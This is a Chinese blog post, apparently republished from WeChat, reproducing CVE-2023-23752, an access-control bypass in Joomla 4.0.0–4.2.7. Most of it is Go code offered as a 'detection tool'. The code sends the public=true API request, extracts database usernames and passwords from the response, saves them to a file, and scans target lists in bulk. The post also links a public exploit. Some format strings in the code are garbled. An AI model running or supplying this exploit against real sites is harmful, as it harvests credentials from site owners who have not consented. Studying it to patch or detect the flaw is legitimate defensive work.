0x00 团队声明
该漏洞为我团队漏洞监测平台发现,仅供学习参考使用,请勿用作违法用途,否则后果自负。
0x01 漏洞概述
漏洞编号:CVE-2023-23752
产品介绍:
Joomla:开源CMS三巨头之一,是一套全球知名的内容管理系统,该系统使用PHP语言与MySQL数据库开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。
漏洞概述:
Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。
0x02 影响版本
受影响的版本:4.0.0 ~ 4.2.7
存在漏洞的路由为Rest API,Rest API于4.x正式开发
0x03 漏洞复现
环境配置:Nginx 1.15.11 + Mysql 5.7.26 + PHP 7.3.4nts
下载地址:
https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip
漏洞复现:
如果不添加public=true,则访问会被拒绝:
攻击成功可以获取用户信息如下:
RCS-TEAM团队提供漏洞检测工具
①基于Bash等Shell脚本检测工具
②基于Python实现漏洞检测工具
③基于Go实现漏洞检测工具
附Go代码
package main
import (
"bufio"
"bytes"
"flag"
"fmt"
"io/ioutil"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
)
var (
url string
filePath string
proxy string
output string
)
func init() {
flag.StringVar(&url, "u", "", "Specify URL")
flag.StringVar(&filePath, "f", "", "Specify file")
flag.StringVar(&proxy, "p", "", "Set proxy, e.g., socks5://127.0.0.1:8080 [clash]")
flag.StringVar(&output, "o", fmt.Sprintf("%d.csv", time.Now().Unix()), "Output results to a file")
}
func checkVulnerability(targetURL, proxyServer, outputFile string) {
targetURL = strings.TrimSuffix(targetURL, "/")
payload := fmt.Sprintf("%s/api/index.php/v1/config/application?public=true", targetURL)
client := &http.Client{}
if proxyServer != "" {
// Setting proxy here if required.
// This is a simple example and might not cover all proxy scenarios.
// You might want to use a library like goproxy to handle this more robustly.
panic("Proxy setting is not implemented. Add proxy setting logic if required.")
}
req, err := http.NewRequest("GET", payload, nil)
if err != nil {
fmt.Printf("[!] Failed to create request. Error: %sn", err)
return
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36")
resp, err := client.Do(req)
if err != nil {
fmt.Printf("[!] Failed to connect to URL! [!] URL: %sn", targetURL)
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Printf("[!] Failed to read response body. Error: %sn", err)
return
}
if bytes.Contains(body, []byte("password")) {
fmt.Printf("[+] Vulnerability found! [✅] URL: %sn", targetURL)
usernameRegex := regexp.MustCompile(`{"user":"(.*?)","id":`)
passwordRegex := regexp.MustCompile(`{"password":"(.*?)","id":`)
username := usernameRegex.FindStringSubmatch(string(body))
password := passwordRegex.FindStringSubmatch(string(body))
if len(username) > 1 {
fmt.Printf("Username: %sn", username[1])
}
if len(password) > 1 {
fmt.Printf("Password: %sn", password[1])
}
if outputFile != "" {
out := fmt.Sprintf("%s,%s,%s,%sn", targetURL, payload, username[1], password[1])
err := ioutil.WriteFile(outputFile, []byte(out), 0644)
if err != nil {
fmt.Printf("[!] Failed to write to output file. Error: %sn", err)
}
}
} else {
fmt.Printf("[x] Vulnerability not detected! [x] URL: %sn", targetURL)
}
}
func checkFile(file, proxyServer, outputFile string) {
f, err := os.Open(file)
if err != nil {
fmt.Printf("[!] Error opening file: %sn", err)
return
}
defer f.Close()
scanner := bufio.NewScanner(f)
var wg sync.WaitGroup
for scanner.Scan() {
wg.Add(1)
go func(u string) {
defer wg.Done()
checkVulnerability(u, proxyServer, outputFile)
}(scanner.Text())
}
wg.Wait()
if err := scanner.Err(); err != nil {
fmt.Printf("[!] Error reading file: %sn", err)
}
}
func main() {
flag.Parse()
if filePath != "" {
checkFile(filePath, proxy, output)
} else {
checkVulnerability(url, proxy, output)
}
}
0x04 整改意见
①变量覆盖漏洞的修复方式比较简单,如果是覆盖已有变量造成危害,则在存在变量覆盖的函数前判断变量是否已经存在。
②官方的修复建议:
https://github.com/joomla/joomla-cms/compare/4.2.7...4.2.8
③官方参考链接
https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html
④公开EXP地址:
https://github.com/Acceis/exploit-CVE-2023-23752
0x05 关注我们
0x06 推荐书籍
扫码购书
原文始发于微信公众号(小白嘿课):CVE-2023-23752 Joomla权限绕过漏洞复现以及EXP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论